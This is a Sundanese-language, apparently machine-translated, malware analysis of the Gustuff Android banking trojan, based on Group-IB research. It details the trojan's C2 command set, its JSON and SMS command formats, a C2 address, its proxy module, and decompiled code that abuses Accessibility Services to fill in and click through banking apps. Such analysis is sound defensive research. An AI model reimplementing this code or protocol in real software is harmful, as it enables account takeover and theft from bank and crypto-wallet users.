Kumaha Trojan Gustuff Android ngahapus krim (fiat sareng crypto) tina akun anjeun

Kumaha Trojan Gustuff Android ngahapus krim (fiat sareng crypto) tina akun anjeun

Dinten ayeuna Grup-IB informed ngeunaan kagiatan mobile Android Trojan Gustuff. Gawéna sacara éksklusif di pasar internasional, nyerang klien tina 100 bank asing panggedéna, pamaké mobile 32 dompet crypto, kitu ogé sumberdaya badag e-commerce. Tapi pamekar Gustuff nyaéta cybercriminal anu nyarios Rusia dina nickname Bestoffer. Nepi ka ayeuna, anjeunna muji Trojan-Na salaku "produk serius pikeun jalma kalawan pangaweruh jeung pangalaman".

Spesialis analisis kode jahat di Group-IB Ivan Pisarev dina panalungtikan na, anjeunna ceramah di jéntré ngeunaan kumaha Gustuff jalan na naon bahaya na.

Saha anu diburu Gustuff?

Gustuff milik generasi anyar malware kalawan fungsi pinuh otomatis. Numutkeun pamekar, Trojan geus jadi versi anyar jeung ningkat tina malware AndyBot, nu saprak Nopémber 2017 geus narajang telepon Android sarta maok duit ngaliwatan formulir web phishing masquerading salaku aplikasi mobile bank internasional well-dipikawanoh sarta sistem pembayaran. Bestoffer ngalaporkeun yén harga rental Gustuff Bot éta $800 per bulan.

Analisis sampel Gustuff nunjukkeun yén Trojan berpotensi nargétkeun para nasabah nganggo aplikasi mobile bank panggedéna, sapertos Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ogé dompet crypto. Dompét Bitcoin, BitPay, Cryptopay, Coinbase, jsb.

Asalna dijieun salaku Trojan perbankan Palasik, dina versi ayeuna Gustuff geus nyata dimekarkeun daptar target poténsi serangan. Salian aplikasi Android pikeun bank, perusahaan fintech sareng jasa crypto, Gustuff ditujukeun pikeun pangguna aplikasi pasar, toko online, sistem pamayaran sareng utusan instan. Khususna, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut sareng anu sanésna.

Éntri titik: itungan pikeun inféksi massa

Gustuff dicirikeun ku "klasik" vektor penetrasi kana smartphone Android ngaliwatan mailings SMS kalawan tumbu ka APKs. Nalika alat Android katépaan ku Trojan ku paréntah pangladén, Gustuff tiasa langkung nyebarkeun ngaliwatan pangkalan data kontak telepon anu kainféksi atanapi ngalangkungan pangkalan data server. Fungsionalitas Gustuff dirancang pikeun inféksi massal sareng kapitalisasi maksimum bisnis operatorna - éta ngagaduhan fungsi "eusian otomatis" anu unik kana aplikasi perbankan mobile anu sah sareng dompét crypto, anu ngamungkinkeun anjeun nyepetkeun sareng skala maling artos.

Panaliti ngeunaan Trojan nunjukkeun yén fungsi autofill dilaksanakeun di dinya nganggo Layanan Aksesibilitas, jasa pikeun jalma anu cacad. Gustuff sanes Trojan munggaran anu junun ngalangkungan panyalindungan ngalawan interaksi sareng elemen jandela aplikasi anu sanés nganggo jasa Android ieu. Nanging, panggunaan Layanan Aksesibilitas dina kombinasi sareng pangisi mobil masih jarang.

Saatos diunduh kana telepon korban, Gustuff, nganggo Layanan Aksesibilitas, tiasa berinteraksi sareng elemen jandela tina aplikasi anu sanés (perbankan, cryptocurrency, ogé aplikasi pikeun balanja online, olahtalatah, jsb.), ngalaksanakeun tindakan anu dipikabutuh pikeun panyerang. . Salaku conto, ku paréntah server, Trojan tiasa mencét tombol sareng ngarobih nilai-nilai widang téks dina aplikasi perbankan. Ngagunakeun mékanisme Layanan Aksesibilitas ngamungkinkeun Trojan ngaliwat mékanisme kaamanan anu dianggo ku bank pikeun ngalawan Trojan mobile generasi sateuacana, ogé parobahan kawijakan kaamanan anu dilaksanakeun ku Google dina vérsi énggal tina OS Android. Ku kituna, Gustuff "nyaho kumaha" nganonaktipkeun panyalindungan Google Protect: nurutkeun pangarang, fungsi ieu jalan dina 70% kasus.

Kumaha Trojan Gustuff Android ngahapus krim (fiat sareng crypto) tina akun anjeun

Gustuff ogé tiasa nampilkeun béwara PUSH palsu sareng ikon aplikasi sélulér anu sah. Pamaké ngaklik bewara PUSH sareng ningali jandela phishing diunduh tina server, dimana anjeunna ngalebetkeun kartu bank anu dipénta atanapi data dompét crypto. Dina skenario Gustuff anu sanés, aplikasi anu ngawakilan béwara PUSH ditampilkeun dibuka. Dina hal ieu, malware, dumasar kana paréntah ti server via Layanan Aksesibilitas, tiasa ngeusian kolom formulir aplikasi perbankan pikeun transaksi curang.

Fungsionalitas Gustuff ogé kalebet ngirim inpormasi ngeunaan alat anu kainféksi ka server, kamampuan maca / ngirim pesen SMS, ngirim pamundut USSD, ngaluncurkeun SOCKS5 Proxy, nuturkeun tautan, ngirim file (kalebet scan poto dokumén, potret layar, poto) ka server , reset alat ka setelan pabrik.

Analisis Malware

Sateuacan masang aplikasi jahat, OS Android nunjukkeun ka pangguna jandela anu ngandung daptar hak anu dipénta ku Gustuff:

Kumaha Trojan Gustuff Android ngahapus krim (fiat sareng crypto) tina akun anjeun
Aplikasi bakal dipasang ngan saatos nampi idin pangguna. Saatos ngaluncurkeun aplikasi, Trojan bakal nunjukkeun ka pangguna jandela:

Kumaha Trojan Gustuff Android ngahapus krim (fiat sareng crypto) tina akun anjeun
Saatos éta bakal ngahapus ikon na.

Gustuff dipak, numutkeun panulis, ku packer ti FTT. Saatos ngamimitian, aplikasi périodik ngahubungi server CnC pikeun nampi paréntah. Sababaraha file anu kami pariksa nganggo alamat IP salaku server kontrol 88.99.171[.]105 (saterusna urang bakal nunjukkeun éta salaku <%CnC%>).

Saatos peluncuran, program mimiti ngirim pesen ka server http://<%CnC%>/api/v1/get.php.

Responna diperkirakeun janten JSON dina format ieu:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Unggal waktos aplikasi diaksés, éta ngirimkeun inpormasi ngeunaan alat anu kainféksi. Format pesen dipidangkeun di handap. Eta sia noting yén sawah pinuh, tambahan, aktip и idin – pilihan jeung bakal dikirim ngan bisi aya paréntah pamundut ti CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Nyimpen data konfigurasi

Gustuff nyimpen informasi operasional penting dina file preferensi. Ngaran file, kitu ogé nami parameter di jerona, mangrupikeun hasil tina ngitung jumlah MD5 tina senar. 15413090667214.6.1<%ngaran%>dimana <%ngaran%> - nilai ngaran awal. Interprétasi Python tina fungsi generasi ngaran:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Dina naon di handap ieu kami bakal denote salaku nameGenerator(input).
Janten nami file anu munggaran nyaéta: nameGenerator("API_SERVER_LIST"), éta ngandung nilai-nilai sareng nami di handap ieu:

Ngaran variabel ajen
nameGenerator("API_SERVER_LIST") Ngandung daptar alamat CnC dina bentuk array.
nameGenerator("API_SERVER_URL") Ngandung alamat CnC.
nameGenerator("SMS_UPLOAD") Bandéra disetel sacara standar. Lamun bandéra disetel, ngirim pesen SMS ka CnC.
nameGenerator("SMS_ROOT_NUMBER") Nomer telepon dimana pesen SMS anu ditampi ku alat anu kainféksi bakal dikirim. Default nyaéta null.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Bandéra dibersihkeun sacara standar. Upami dipasang, nalika alat anu kainféksi nampi SMS, éta bakal dikirim ka nomer akar.
nameGenerator("DEFAULT_APP_SMS") Bandéra dibersihkeun sacara standar. Upami bendera ieu disetel, aplikasi bakal ngolah pesen SMS anu asup.
nameGenerator("DEFAULT_ADMIN") Bandéra dibersihkeun sacara standar. Upami bandéra disetel, aplikasina ngagaduhan hak administrator.
nameGenerator("DEFAULT_ACCESSIBILITY") Bandéra dibersihkeun sacara standar. Upami bandéra disetel, ladenan anu nganggo Layanan Aksesibilitas jalan.
nameGenerator("APPS_CONFIG") Obyék JSON anu ngandung daptar tindakan anu kedah dilakukeun nalika acara Aksesibilitas anu aya hubunganana sareng aplikasi khusus dipicu.
nameGenerator("APPS_INSTALLED") Nyimpen daptar aplikasi anu dipasang dina alat.
nameGenerator("IS_FIST_RUN") Bandéra direset dina mimiti mimiti.
nameGenerator("UNIQUE_ID") Ngandung identifier unik. Dihasilkeun nalika bot diluncurkeun pikeun kahiji kalina.

Modul pikeun ngolah paréntah ti server

Aplikasi nyimpen alamat server CnC dina bentuk susunan anu disandikeun ku Dasar85 garis. Daptar server CnC tiasa dirobih saatos nampi paréntah anu pas, dimana alamatna bakal disimpen dina file anu dipikaresep.

Dina respon kana pamundut, server ngirimkeun paréntah pikeun aplikasi. Perlu dicatet yén paréntah sareng parameter dibere dina format JSON. Aplikasi tiasa ngolah paréntah di handap ieu:

regu gambaran
majuMimitian Mimiti ngirim pesen SMS anu ditampi ku alat anu kainféksi ka server CnC.
majuStop Eureun ngirim pesen SMS anu ditampi ku alat anu kainféksi ka server CnC.
ussdRun Laksanakeun pamundut USSD. Nomer anu anjeun peryogikeun pikeun nyuhunkeun USSD aya dina "angka" widang JSON.
ngirimSms Kirim hiji pesen SMS (upami perlu, pesenna "dibagi" kana sababaraha bagian). Salaku parameter, paréntah nyokot objék JSON ngandung widang "ka" - nomer tujuan jeung "awak" - awak suratna.
ngirimSmsAb Kirim pesen SMS (upami diperyogikeun, pesenna "dibagi" kana sababaraha bagian) ka sadayana anu aya dina daptar kontak alat anu katépaan. Interval antara ngirim talatah nyaéta 10 detik. Awak pesen aya dina widang JSON "awak"
ngirimSmsMass Kirim pesen SMS (upami perlu, pesenna "dibagi" kana sababaraha bagian) ka kontak anu ditunjuk dina parameter paréntah. Interval antara ngirim talatah nyaéta 10 detik. Salaku parameter, paréntah nyokot Asép Sunandar Sunarya JSON (widang "sms"), unsur nu ngandung widang "ka" - nomer tujuan jeung "awak" - awak suratna.
changeServer Paréntah ieu tiasa nyandak nilai kalayan konci "url" salaku parameter - teras bot bakal ngarobih nilai nameGenerator ("SERVER_URL"), atanapi "array" - teras bot bakal nyerat array ka nameGenerator ("API_SERVER_LIST") Ku kituna, aplikasi nu ngarobah alamat tina server CnC.
adminNomer Paréntah dirancang pikeun dianggo sareng nomer akar. Paréntah narima objék JSON kalawan parameter di handap ieu: "angka" - robah nameGenerator ("ROOT_NUMBER") kana nilai narima, "kirim ulang" - ngaganti ngaranGenerator ("SMS_ROOT_NUMBER_RESEND"), "sendId" - kirimkeun ka nameGenerator ("ROOT_NUMBER" ) uniqueID.
updateInfo Kirim inpormasi ngeunaan alat anu kainféksi ka server.
wipeData Paréntah dimaksudkeun pikeun mupus data pangguna. Gumantung kana nami aplikasi anu diluncurkeun, boh datana dihapus lengkep sareng reboot alat (pamaké primér), atanapi ngan ukur data pangguna anu dihapus (pamaké sekundér).
kaos kakiMulai Ngajalankeun modul proxy. Operasi modul dijelaskeun dina bagian anu misah.
kaos kakiStop Ngeureunkeun modul proxy.
openLink Turutan tautan. Linkna aya dina parameter JSON handapeun konci "url". "android.intent.action.VIEW" dianggo pikeun muka tautan.
unggahAllSms Kirim sadaya pesen SMS anu ditampi ku alat ka pangladén.
uploadAllPhotos Kirim gambar tina alat anu kainféksi ka URL. URL asalna salaku parameter.
unggahFile Kirim file ka URL tina alat anu kainféksi. URL asalna salaku parameter.
uploadPhoneNumbers Kirim nomer telepon tina daptar kontak anjeun ka server. Upami nilai obyék JSON kalayan konci "ab" ditampi salaku parameter, aplikasi bakal nampi daptar kontak tina buku telepon. Upami obyék JSON kalayan konci "sms" ditampi salaku parameter, aplikasi bakal maca daptar kontak tina pangirim pesen SMS.
robahArsip Aplikasi ngaunduh file tina alamat anu asalna salaku parameter nganggo konci "url". File anu diunduh disimpen kalayan nami "archive.zip". Aplikasi teras bakal ngabongkar file, sacara opsional nganggo kecap akses arsip "b5jXh37gxgHBrZhQ4j3D". Payil anu teu dizip disimpen dina diréktori [panyimpenan éksternal]/hgps. Dina diréktori ieu, aplikasi nyimpen palsu wéb (dijelaskeun di handap).
ancoan Paréntah dirancang pikeun dianggo sareng Action Service, anu dijelaskeun dina bagian anu misah.
ujian Teu ngalakukeun nanaon.
download Paréntah dimaksudkeun pikeun ngaunduh file tina server jauh sareng simpen kana diréktori "Unduh". URL sareng nami file asalna salaku parameter, sawah dina obyék parameter JSON, masing-masing: "url" sareng "fileName".
mindahkeun Ngahapus file tina diréktori "Unduh". Ngaran koropak asalna dina parameter JSON jeung "fileName" konci. Ngaran file standar nyaéta "tmp.apk".
mere nyaho Témbongkeun bewara kalayan pedaran tur judul téks ditetepkeun ku server manajemén.

Format Paréntah mere nyaho:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Bewara anu dihasilkeun ku file anu ditalungtik katingalina sami sareng bewara anu dihasilkeun ku aplikasi anu ditunjuk dina lapangan app. Lamun nilai widang openApp - Leres, nalika aya bewara dibuka, aplikasi anu ditunjuk di lapangan diluncurkeun app. Lamun nilai widang openApp - Palsu, teras:

  • Jandéla phishing dibuka, eusina diunduh tina diréktori <%panyimpenan éksternal%>/hgps/<%filename%>
  • Jandéla phishing dibuka, eusina diunduh tina pangladén <%url%>?id=<%Bot id%>&app=<%Ngaran aplikasi%>
  • Jandéla phishing dibuka, nyamar salaku Kartu Google Play, kalayan kasempetan pikeun ngalebetkeun detil kartu.

Aplikasi ngirimkeun hasil tina paréntah naon waé ka <%CnC%>set_state.php salaku obyék JSON dina format ieu:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Daptar paréntah anu kalebet dina prosés aplikasi aksi. Nalika paréntah ditampi, modul pangolahan paréntah ngaksés jasa ieu pikeun ngaéksekusi paréntah anu diperpanjang. Ladenan nampi hiji obyék JSON salaku parameter. Palayanan tiasa ngalaksanakeun paréntah di handap ieu:

1. PARAMS_ACTION - nalika nampi paréntah sapertos kitu, jasa mimiti nampi nilai tina parameter JSON tina konci Tipe, anu tiasa kieu:

  • serviceInfo - subcommand nampi nilai ku konci tina parameter JSON kaasup TeuPenting. Upami bandéra leres, aplikasi nyetél bandéra FLAG_ISOLATED_PROCESS ka ladenan nganggo Ladenan Aksesibilitas. Ku cara ieu jasa bakal diluncurkeun dina prosés anu misah.
  • akar — narima jeung ngirim ka inpo pangladén ngeunaan jandela nu ayeuna keur fokus. Aplikasi nampi inpormasi nganggo kelas AccessibilityNodeInfo.
  • admin - menta hak administrator.
  • nunda - numpurkeun ActionsService pikeun jumlah milliseconds dieusian dina parameter pikeun konci "data".
  • jandela — kirimkeun daptar windows anu katingali ku pangguna.
  • masang - pasang aplikasi dina alat anu kainféksi. Ngaran pakét arsip aya dina konci "Name file". Arsip sorangan aya dina diréktori Unduh.
  • sadunya – subcommand dimaksudkeun pikeun napigasi tina jandela ayeuna:
    • dina menu Setélan Gancang
    • tukang
    • imah
    • kana béwara
    • ka jandela aplikasi anu nembe dibuka

  • nyorosodkeun - ngajalankeun aplikasi. Ngaran aplikasi asalna salaku parameter ku konci data.
  • sora — ngarobah mode sora ka tiiseun.
  • ngalaan konci - hurungkeun lampu tukang layar sareng keyboard ka kacaangan pinuh. Aplikasi ngalakukeun tindakan ieu nganggo WakeLock, nangtukeun string [Label aplikasi]:INFO salaku tag
  • permissionOverlay — fungsina henteu dilaksanakeun (réspon kana palaksanaan paréntah nyaéta {"message": "Not support"} or {"message":"low sdk"})
  • sikep — fungsina henteu dilaksanakeun (réspon kana palaksanaan paréntah nyaéta {"message":"Not support"}atawa {"message":"Low API"})
  • idin - paréntah ieu diperlukeun pikeun ménta idin pikeun aplikasi. Sanajan kitu, fungsi query teu dilaksanakeun, jadi paréntah téh euweuh hartina. Daptar hak anu dipénta asalna salaku Asép Sunandar Sunarya JSON kalayan konci "idin". Daptar standar:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • kabuka - mintonkeun jandela phishing. Gumantung kana parameter anu asalna tina server, aplikasi tiasa ningalikeun windows phishing ieu:
    • Témbongkeun jandela phishing anu eusina ditulis dina file dina diréktori <%external directory%>/hgps/<%param_filename%>. Hasil interaksi pamaké jeung jandela bakal dikirim ka <%CnC%>/records.php
    • Témbongkeun jandela phishing anu eusina tos dimuat ti alamatna <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Hasil interaksi pamaké jeung jandela bakal dikirim ka <%CnC%>/records.php
    • Témbongkeun jandela phishing nyamar jadi Kartu Google Play.

  • interaktip - Paréntah dirancang pikeun berinteraksi sareng elemen jandela tina aplikasi anu sanés nganggo AcessibilityService. A layanan husus geus dilaksanakeun dina program pikeun interaksi. Aplikasi anu ditalungtik tiasa berinteraksi sareng windows:
    • Ayeuna aktip. Dina hal ieu, parameter ngandung id atawa téks (ngaran) obyék nu Anjeun kudu interaksi.
    • Katingali ku pangguna nalika paréntah dieksekusi. Aplikasi milih windows ku id.

    Sanggeus narima objék AccessibilityNodeInfo Pikeun unsur jandela anu dipikaresep, aplikasi, gumantung kana parameter, tiasa ngalakukeun tindakan ieu:

    • fokus - set fokus kana obyék.
    • klik - klik dina hiji obyék.
    • actionId - ngalakukeun aksi ku ID.
    • setText - ngarobah téks hiji obyék. Ngarobih téks tiasa ku dua cara: ngalakukeun tindakan ACTION_SET_TEXT (upami versi Android tina alat anu katépaan langkung ngora atanapi sami sareng LOLLIPOP), atawa ku cara nempatkeun senar dina clipboard jeung nempelkeun kana hiji obyék (pikeun versi heubeul). Paréntah ieu tiasa dianggo pikeun ngarobih data dina aplikasi perbankan.

2. PARAMS_ACTIONS - sarua jeung PARAMS_ACTION, ngan hiji Asép Sunandar Sunarya JSON paréntah datang.

Sigana mah seueur jalma bakal kabetot dina naon fungsi interaksi sareng elemen jandela tina aplikasi anu sanés. Ieu kumaha fungsionalitas ieu dilaksanakeun di Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Fungsi ngagantian téks:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Ku kituna, ku konfigurasi bener tina server kontrol, Gustuff bisa ngeusian kaluar widang téks dina aplikasi perbankan tur klik dina tombol diperlukeun pikeun ngalengkepan urus. Trojan malah henteu kedah lebet kana aplikasina - cekap ngirim paréntah pikeun nampilkeun béwara PUSH teras muka aplikasi perbankan anu dipasang sateuacana. Pamaké bakal ngabuktoskeun kaaslianana dirina, saatos éta Gustuff bakal tiasa ngeusian mobil.

modul processing pesen SMS

Aplikasina masang panangan acara pikeun alat anu katépaan pikeun nampi pesen SMS. Aplikasi anu ditalungtik tiasa nampi paréntah ti operator, anu aya dina awak pesen SMS. Paréntah datangna dina format:

7!5=<%Base64 paréntah disandi%>

Aplikasi milarian senar dina sadaya pesen SMS anu asup 7!5 =, Nalika string dideteksi, decodes string ti Base64 di offset 4 sarta executes paréntah. Paréntahna sami sareng anu nganggo CnC. Hasil palaksanaan dikirim ka nomer anu sami ti mana paréntahna sumping. Format jawaban:

7*5=<%Base64 encode of “result_code command”%>

Optionally, aplikasi nu bisa ngirim kabeh pesen narima ka nomer Akar. Jang ngalampahkeun ieu, jumlah Akar kudu dieusian dina file preferensi sarta bandéra redirection pesen kudu disetel. Pesen SMS dikirim ka nomer panyerang dina format:

<%Ti angka%> - <%Waktu, format: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Ogé, optionally, aplikasi nu bisa ngirim pesen ka CnC. Pesen SMS dikirim ka server dina format JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Lamun bandéra disetel nameGenerator("DEFAULT_APP_SMS") - aplikasi eureun ngolah pesen SMS sareng mupus daptar pesen anu asup.

modul proxy

Aplikasi anu ditalungtik ngandung modul Backconnect Proxy (saterusna disebut modul Proxy), anu ngagaduhan kelas anu misah anu kalebet widang statik sareng konfigurasi. Data konfigurasi disimpen dina sampel dina bentuk jelas:

Kumaha Trojan Gustuff Android ngahapus krim (fiat sareng crypto) tina akun anjeun

Sadaya tindakan anu dilakukeun ku modul Proxy dilebetkeun kana file. Jang ngalampahkeun ieu, aplikasi dina Panyimpenan éksternal nyiptakeun diréktori anu disebut "log" (sawah ProxyConfigClass.logsDir di kelas konfigurasi), dimana file log disimpen. Logging lumangsung dina file kalawan ngaran:

  1. main.txt – karya kelas disebut CommandServer geus asup kana file ieu. Dina hal ieu, logging string str kana file ieu bakal dilambangkeun salaku mainLog(str).
  2. sési-<%id%>.txt — file ieu nyimpen data log pakait sareng sési proxy husus. Dina hal ieu, logging string str kana file ieu bakal dilambangkeun salaku sessionLog (str).
  3. server.txt – file ieu dipaké pikeun log sadaya data ditulis kana file di luhur-dijelaskeun.

Format data log:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

Pangecualian anu lumangsung nalika ngoperasikeun modul Proxy ogé asup kana file. Jang ngalampahkeun ieu, aplikasi ngahasilkeun objék JSON dina format ieu:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Lajeng ngarobahna kana ngagambarkeun string jeung log eta.

Modul Proxy diluncurkeun saatos nampi paréntah anu cocog. Nalika paréntah pikeun ngaluncurkeun modul Proxy ditampi, aplikasi ngamimitian jasa anu disebut MainService, anu tanggung jawab pikeun ngatur operasi modul Proxy - ngamimitian sareng ngeureunkeunana.

Tahap ngamimitian jasa:

1. Ngamimitian timer anu ngajalankeun sakali menit sarta pariksa aktivitas modul proxy. Mun modul nu teu aktip, eta dimimitian.
Ogé nalika acara dipicu android.net.conn.CONNECTIVITY_CHANGE Modul proxy diluncurkeun.

2. Aplikasi nyiptakeun wake-lock sareng parameter PARTIAL_WAKE_LOCK sarta ngarebut anjeunna. Ieu nyegah CPU alat lebet kana mode sare.

3. Ngaluncurkeun kelas pamrosésan paréntah tina modul Proxy, mimiti logging jalur mainLog("mimitian server") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

di mana proxy_cnc, command_port sareng proxy_port - parameter dicandak tina konfigurasi server proxy.

Kelas processing paréntah disebut CommandConnection. Langsung saatos ngamimitian, ngalaksanakeun tindakan ieu:

4. Nyambung ka ProxyConfigClass.host: ProxyConfigClass.commandPort sareng ngirim data ngeunaan alat anu kainféksi aya dina format JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

dimana:

  • id - identifier, nyobian kéngingkeun nilai sareng kolom "id" tina file Préferénsi Dibagi anu namina "x". Lamun nilai ieu teu bisa diala, éta dibangkitkeun nu anyar. Ku kituna, modul Proxy boga identifier sorangan, nu dihasilkeun sarupa Bot ID.
  • imei - IMEI alat. Lamun kasalahan lumangsung salila prosés meunangkeun nilai, pesen téks kasalahan bakal ditulis gaganti widang ieu.
  • imsi - Identitas Palanggan Mobile Internasional alat. Lamun kasalahan lumangsung salila prosés meunangkeun nilai, pesen téks kasalahan bakal ditulis gaganti widang ieu.
  • model — Ngaran ahir-pamaké-katingali pikeun produk ahir.
  • produsén - Produsén produk / hardware (Build.MANUFACTURER).
  • androidVersion - string dina format "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • nagara — lokasi alat ayeuna.
  • partnerId mangrupa string kosong.
  • packageName - ngaran pakét.
  • networkType — jinis sambungan jaringan ayeuna (contona: "WIFI", "MOBILE"). Dina hal kasalahan, mulih null.
  • hasGsmSupport - leres - lamun telepon ngarojong GSM, disebutkeun palsu.
  • simReady - kaayaan kartu SIM.
  • simCountry - kode nagara ISO (dumasar kana panyadia kartu SIM).
  • networkOperator - ngaran operator. Lamun kasalahan lumangsung salila prosés meunangkeun nilai, pesen téks kasalahan bakal ditulis gaganti widang ieu.
  • simOperator - Ngaran Panyadia Jasa (SPN). Lamun kasalahan lumangsung salila prosés meunangkeun nilai, pesen téks kasalahan bakal ditulis gaganti widang ieu.
  • Vérsi - widang ieu disimpen dina kelas config; pikeun versi diuji tina bot éta sarua jeung "1.6".

5. Pindah kana mode ngantosan paréntah ti server. Paréntah ti server datangna dina format:

  • 0 offset - paréntah
  • 1 offset - sessionId
  • 2 offset - panjangna
  • 4 offset - data

Nalika paréntah sumping, aplikasi log:
mainLog("Header { sessionId<%id%>], tipe[<%command%>], length[<%length%>] }")

Paréntah handap ti server anu mungkin:

nami parentah data gambaran
sambunganId 0 ID sambungan Jieun sambungan anyar
POSIH 3 waktu Ngareureuhkeun modul proxy
PING_PONG 4 - Kirim pesen PONG

Pesen PONG diwangun ku 4 bait sareng sapertos kieu: 0x04000000.

Nalika paréntah connectionId ditampi (pikeun nyieun sambungan anyar) CommandConnection nyiptakeun conto kelas ProxyConnection.

  • Dua kelas nyandak bagian dina proxying: ProxyConnection и tungtung. Nalika nyieun kelas ProxyConnection nyambungkeun ka alamat ProxyConfigClass.host: ProxyConfigClass.proxyPort sareng ngalangkungan objek JSON:

 {
    "id":<%connectionId%>
}

Salaku réspon, server ngirim pesen SOCKS5 anu ngandung alamat server jauh dimana sambunganna kedah didamel. Interaksi jeung server ieu lumangsung ngaliwatan kelas tungtung. Setélan sambungan tiasa digambarkeun sacara skéma sapertos kieu:

Kumaha Trojan Gustuff Android ngahapus krim (fiat sareng crypto) tina akun anjeun

Interaksi jaringan

